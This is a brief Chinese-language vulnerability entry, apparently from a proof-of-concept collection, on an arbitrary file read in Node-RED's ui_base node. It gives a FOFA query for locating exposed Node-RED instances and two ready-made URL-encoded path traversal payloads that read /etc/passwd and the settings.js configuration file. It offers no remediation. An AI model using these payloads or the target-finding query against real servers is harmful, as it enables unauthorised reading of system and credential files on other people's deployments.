Node-RED ui_base 任意文件读取漏洞

漏洞描述

Node-RED 在/nodes/ui_base.js中，URL与'/ui_base/js/*'匹配，然后传递给path.join，

缺乏对最终路径的验证会导致路径遍历漏洞，可以利用这个漏洞读取服务器上的敏感数据，比如settings.js

漏洞影响

[!NOTE]

Node-RED

FOFA

[!NOTE]

title="Node-RED"

漏洞复现

访问页面

验证POC

/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js